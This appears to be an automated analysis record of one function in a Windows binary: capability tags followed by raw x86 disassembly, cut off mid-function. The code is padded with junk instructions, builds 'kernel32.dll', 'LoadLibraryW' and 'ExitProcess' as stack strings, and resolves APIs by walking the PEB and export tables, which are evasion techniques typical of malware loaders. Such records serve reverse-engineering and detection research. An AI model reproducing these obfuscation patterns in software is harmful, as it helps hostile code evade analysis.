Function at 0x43ca6f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ebx
and ebx, 0x812d
pop ebx
push ecx
add ecx, 0xff2a
pop ecx
push edi
xor edi, 0x426
pop edi
push eax
and eax, 0x114a8
add eax, 0x10366
or eax, 0x78f3
add eax, 0x14e4c
pop eax
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x43b1ad
push eax
push eax
add esp, 4
add eax, 0x17875
sub eax, 0x84fa
pop eax
push eax
push edi
add esp, 4
xor eax, 0x11601
and eax, 0x153b5
pop eax
push edi
add edi, 0x59db
jmp 0x43b1a7
pop edi
jmp 0x43b3db
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
add edx, 0x1463b
add edx, 0xb520
or edx, 0x4f87
pop edx
push ebx
push esi
add esp, 4
sub ebx, 0x15676
add ebx, 0x4fc8
and ebx, 0x15c0b
and ebx, 0x10aa1
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x43b25c
push edx
push edx
add esp, 4
call fcn.0043b22b
add byte [edi + 0x37], cl
push eax
cmp cl, byte [ebp + eax*2 + 0x34]
cmp dword [ebp - 0xc10], 0
jle 0x43b381
push edi
push edi
add esp, 4
sub edi, 0x6142
or edi, 0xd63e
sub edi, 0x3787
xor edi, 0x6b0d
pop edi
push edi
and edi, 0x1482a
sub edi, 0x1a5b
add edi, 0x1497b
pop edi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x43b31d
push edi
and edi, 0x3b25
jmp 0x43b2c0
or edi, 0xe835
sub edi, 0x1609c
pop edi
push eax
jmp 0x43b2d3
call fcn.0043b2df
add byte [ebx], bh
inc esp
dec edx
inc edx
aaa
cmp dword [ebx - 0x74a7fb3c], eax
add esp, 4
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
add esp, 4
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x43b305
mov dword [ebp - 0x14cc], 1
jmp 0x43b30f
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x43b381
push ebx
push ecx
add esp, 4
add ebx, 0xad4c
add ebx, 0x6d70
pop ebx
push ebx
push esi
add esp, 4
or ebx, 0x78d
pop ebx
push ecx
add ecx, 0xc991
xor ecx, 0xb6d8
xor ecx, 0x1b1d
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x43b25c
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x43b3d6
push edx
sub edx, 0x60fb
pop edx
push edx
and edx, 0xfeca
pop edx
push edi
push ebx
add esp, 4
jmp 0x43b3b1
jmp 0x43b3b6
pop edi
push ecx
call 0x43b3c4
add byte [0x45433f33], dh
inc edx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x43b417
jmp 0x43b124
push eax
push ecx
add esp, 4
add eax, 0x2159
pop eax
push esi
sub esi, 0xcb01
call 0x43b3fb
add byte [ebx], bh
xor bh, byte [edi]
aas
inc ebp
dec edi
inc esi
add esp, 4
pop esi
push edi
and edi, 0x15d24
sub edi, 0x7ee9
pop edi
mov dword [ebp - 0xa5c], 0
push ecx
push esi
add esp, 4
call 0x43b429
add byte [ebp + edi + 0x4c], al
cmp eax, 0x834c3d34
les eax, [ecx + ebx*2]
push eax
push edx
add esp, 4
jmp 0x43b43a
jmp 0x43b442
xor eax, 0x4aee
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
xor edi, 0x16f17
add edi, 0x3854
pop edi
push edx
sub edx, 0x110a7
call 0x43b4bf
add byte [ebx], dh
aas
cmp dword [edx], esi
inc esi
inc esi
add esp, 4
and edx, 0x122dd
or edx, 0xb9a8
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
or ecx, 0x183dd
or ecx, 0xc326
and ecx, 0x1605d
call 0x43b588
add byte [ecx + 0x50], al
dec edx
dec ebx
inc esi
dec edx
add esp, 4
pop ecx
push ebx
and ebx, 0x19e8
sub ebx, 0x57ac
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x9a8d
jmp 0x43b5aa
pop esi
push edx
push esi
add esp, 4
add edx, 0xde6
add edx, 0x109f8
call 0x43b5c8
add byte [edx + esi], dh
push eax
inc eax
inc edi
dec ecx
add esp, 4
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
push ebx
add esp, 4
and edx, 0x14a30
pop edx
push edx
and edx, 0x3c07
add edx, 0x10633
pop edx
push eax
push esi
add esp, 4
add eax, 0x318a
add eax, 0x8752
add eax, 0x14400
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x43b63e
mov dword [ebp - 0x2e0], 0
jmp 0x43b8fa
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
call 0x43b65d
add byte [edi + 0x4c], al
dec esi
dec edi
dec edi
dec ecx
add esp, 4
xor edi, 0x121d6
pop edi
push ecx
and ecx, 0x4834
xor ecx, 0xb987
add ecx, 0x6301
jmp 0x43b681
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x43b69a
mov dword [ebp - 0x2e0], 0
jmp 0x43b8fa
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
xor esi, 0xd34c
call 0x43b6ba
add byte [0x484e3a45], bh
cmp byte [edi - 0x7d], cl
les eax, [esi + ebx*2]
push eax
xor eax, 0x13c0e
and eax, 0x11170
pop eax
push edi
push esi
add esp, 4
xor edi, 0x3aea
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
push ebx
add esp, 4
add edi, 0x76d4
or edi, 0x49a6
pop edi
push ecx
call 0x43b725
add byte [esi + eax*2 + 0x3a], cl
dec edi
inc ebx
cmp dh, byte [ebx]
add esp, 4
sub ecx, 0x14efc
pop ecx
push ebx
xor ebx, 0x101a1
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
push eax
add esp, 4
xor eax, 0xd8be
and eax, 0x1577f
pop eax
push eax
or eax, 0x1642
xor eax, 0x8a98
pop eax
push eax
push ecx
add esp, 4
add eax, 0x1866a
jmp 0x43b7c2
pop eax
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x43b7e6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x43b849
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x43b705
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x43b705
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x43b833
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x43b83d
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x43b892
push eax
or eax, 0x8c07
pop eax
push ebx
push edx
add esp, 4
or ebx, 0x1753e
call 0x43b874
add byte [edi + edi + 0x4a], al
inc esi
xor al, 0x45
dec edi
cmp eax, 0x4c48332
add ebx, 0x1410e
xor ebx, 0x86cb
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x43b8fa
push eax
sub eax, 0xd81f
call 0x43b8a9
add byte [esi], dh
xor eax, 0x40383344
cmp eax, dword [esi + 0x46]
inc ebp
add esp, 4
pop eax
push edx
or edx, 0x2130
pop edx
push ecx
push ebx
add esp, 4
jmp 0x43b8c3
pop ecx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x43b8f0
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x43b6a6
mov dword [ebp - 0x2e0], 0
push edx
xor edx, 0x9186
call 0x43b90e
add byte [edi + 0x43], cl
inc esi
inc esp
inc esi
inc edi
inc ecx
add esp, 4
pop edx
push ebx
sub ebx, 0x215
pop ebx
push eax
push eax
add esp, 4
sub eax, 0x1668c
jmp 0x43b92b
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x43c245
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
and esi, 0x4d7b
or esi, 0xb5ce
sub esi, 0x1420f
pop esi
push eax
push ebx
add esp, 4
or eax, 0x493d
sub eax, 0x1414a
xor eax, 0x6d61
or eax, 0xf02b
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push ebx
add esp, 4
add ebx, 0x7270
pop ebx
push edi
add edi, 0x98eb
pop edi
push ecx
add ecx, 0x97c8
or ecx, 0xb336
jmp 0x43baaf
jmp 0x43bab7
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x43bad0
mov dword [ebp - 0x6ec], 0
jmp 0x43bd8c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
jmp 0x43baec
pop ecx
push eax
or eax, 0xeecd
xor eax, 0x8b66
call 0x43bb08
add byte [eax + 0x33], al
dec esi
inc edi
inc esi
inc esi
dec esp
inc esi
add esp, 4
jmp 0x43bb13
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x43bb2c
mov dword [ebp - 0x6ec], 0
jmp 0x43bd8c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
call 0x43bb46
add byte [edx + esi], bh
inc ecx
dec esi
inc eax
inc ebp
dec esi
add esp, 4
sub edi, 0x4a7
and edi, 0x91ac
and edi, 0x3897
pop edi
push esi
xor esi, 0x17710
and esi, 0x3fbf
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
and edi, 0x24da
call 0x43bbac
add byte [edx + 0x34], cl
dec edi
cmp eax, 0x83493e4c
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [ebx + esi + 0x3d], al
dec esp
dec edi
inc esi
inc eax
cmp al, 0x44
xor eax, 0x8104c483
invalid
push edx
push edi
add esp, 4
and edx, 0x9c57
and edx, 0xaebd
xor edx, 0xa118
or edx, 0x8500
pop edx
push eax
and eax, 0x1c5c
add eax, 0x1539a
or eax, 0x88a5
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x43be08
push ecx
push esi
add esp, 4
and ecx, 0x12d6f
add ecx, 0x96ec
jmp 0x43bde0
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x5aa6
and edx, 0x56e9
or edx, 0x2366
pop edx
mov dword [ebp - 0x738], 0
jmp 0x43c92f
push ecx
push ebx
add esp, 4
and ecx, 0xbbd2
and ecx, 0x282c
xor ecx, 0x15e19
sub ecx, 0x181f8
pop ecx
push edx
or edx, 0x10df0
or edx, 0x17ffe
add edx, 0xae94
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x43be79
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x43c16a
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x43bea1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x43c16a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x43bed3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x43c16a
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x43bef8
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x43c16a
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x43bf52
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x43c15e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x43bfc2
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x43c074
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x43c074
push esi
push ebx
add esp, 4
and esi, 0x10261
add esi, 0x13f92
sub esi, 0x88af
pop esi
push ebx
add ebx, 0x17e55
or ebx, 0x79cb
xor ebx, 0x94d2
sub ebx, 0x3193
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x43c066
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x43c06d
jmp 0x43bfb3
jmp 0x43c074
push edx
push eax
add esp, 4
call 0x43c085
add byte [edi], dh
dec esi
inc ebp
inc eax
aaa
add esp, 4
jmp 0x43c08e
call 0x43c09c
add byte [eax + 0x4a], al
xor eax, 0x373d324b
cmp eax, dword [ebx - 0x3d7efb3c]
mov dl, 7
add byte [eax], al
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x43c0d3
mov dword [ebp - 0xc30], 0
jmp 0x43c142
push esi
push edx
add esp, 4
and esi, 0x75e2
pop esi
push ebx
push edx
add esp, 4
sub ebx, 0x28a3
xor ebx, 0x6192
pop ebx
push esi
and esi, 0x1005e
and esi, 0x15a7a
and esi, 0x11b2a
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x43c138
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x43c142
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x43c159
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x43c16a
jmp 0x43bf43
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x43c245
push edx
push edi
add esp, 4
sub edx, 0x10846
jmp 0x43c187
jmp 0x43c190
pop edx
push edx
push edx
add esp, 4
add edx, 0x90e0
add edx, 0x6ce0
sub edx, 0x6152
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
and edi, 0x3ae8
or edi, 0xff68
pop edi
push edx
and edx, 0xf292
xor edx, 0x340a
call 0x43c1dd
add byte [esi + 0x3f], cl
cmp eax, 0x48413b39
add esp, 4
or edx, 0xefac
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x43c245
push edi
push esi
add esp, 4
sub edi, 0x64fb
pop edi
push edx
xor edx, 0x181fa
xor edx, 0x14a5e
call 0x43c22c
add byte [ecx + 0x44], cl
inc edi
dec esp
push eax
dec ebx
dec ebx
xor edi, dword [edi]
add esp, 4
add edx, 0x6b63
pop edx
mov dword [ebp - 0x738], 0
jmp 0x43c92f
push eax
push esi
add esp, 4
and eax, 0x52fc
pop eax
push edi
call 0x43c262
add byte [ebx + 0x3f], al
cmp dword [esp + edi + 0x3b], eax
aas
dec edi
xor al, 0x42
add esp, 4
jmp 0x43c26a
or edi, 0x74db
or edi, 0xce1b
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
jmp 0x43c2a5
or edx, 0x28d7
and edx, 0x269a
pop edx
push esi
push edi
add esp, 4
jmp 0x43c2bc
call 0x43c2cc
add byte [edi + 0x3c], al
inc edx
dec edi
dec ebx
push eax
dec ecx
inc eax
inc ebp
dec ebx
add esp, 4
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x43c2e8
mov dword [ebp - 0x2e0], 0
jmp 0x43c58f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
or esi, 0x33c6
jmp 0x43c306
sub esi, 0x10ad8
pop esi
push eax
push edi
add esp, 4
sub eax, 0x1648b
sub eax, 0x1190
jmp 0x43c325
sub eax, 0x9e0a
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x43c344
mov dword [ebp - 0x2e0], 0
jmp 0x43c58f
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
push esi
add esp, 4
add eax, 0x10113
sub eax, 0x37b7
pop eax
push eax
push ecx
add esp, 4
add eax, 0x1d3a
pop eax
push ebx
and ebx, 0xccc1
or ebx, 0x10419
add ebx, 0x3b9d
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push ecx
add esp, 4
xor edi, 0x14f46
xor edi, 0xf6a3
sub edi, 0x170f5
xor edi, 0x12e4c
pop edi
push ecx
call 0x43c3da
add byte [esi + 0x3f], cl
xor eax, 0x3d504136
inc ebp
inc ebp
add esp, 4
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edi
push eax
add esp, 4
and edi, 0x10dd
or edi, 0x14404
or edi, 0x9eef
pop edi
push esi
sub esi, 0xc96d
and esi, 0x2024
pop esi
push esi
push edi
add esp, 4
sub esi, 0x438e
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x43c484
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x43c4de
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x43c3ac
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x43c3ac
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x43c4c8
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x43c4d2
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x43c527
push edi
call 0x43c4f6
add byte [edx + 0x4f], cl
cmp eax, dword [esi + 0x3a]
dec eax
aaa
inc ebp
add esp, 4
add edi, 0xa539
add edi, 0xe8e4
call 0x43c515
add byte [edi], bh
dec esi
cmp eax, 0x36404a50
dec edx
xor cl, byte [ebp - 0x7d]
les eax, [edi + ebx*2]
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x43c58f
push esi
or esi, 0x64b0
pop esi
push edx
push esi
add esp, 4
and edx, 0x785a
call 0x43c549
add byte [ecx + 0x50], al
dec esp
dec esp
cmp al, 0x35
cmp al, 0x36
cmp eax, 0x8104c483
ret 0x65bf
push ecx
push eax
add esp, 4
jmp 0x43c59a
sub ecx, 0x568b
xor ecx, 0x4792
sub ecx, 0x551e
pop ecx
push eax
push edi
add esp, 4
add eax, 0xeded
pop eax
push ecx
and ecx, 0x3445
pop ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edi
push esi
add esp, 4
jmp 0x43c5db
pop edi
push esi
add esi, 0x59
call 0x43c5f0
add byte [0x36443948], bh
inc edi
aas
add esp, 4
pop esi
push esi
and esi, 0xe64e
and esi, 0x977e
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x43c632
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x43c923
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x43c65a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x43c923
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x43c68c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x43c923
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x43c6b1
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x43c923
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x43c70b
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x43c917
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x43c77b
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x43c82d
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x43c82d
push esi
push edx
add esp, 4
xor esi, 0x7f8e
and esi, 0x12ca
xor esi, 0x17b9e
pop esi
push edi
or edi, 0x18650
xor edi, 0x10e1
or edi, 0xaff1
or edi, 0xb28e
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
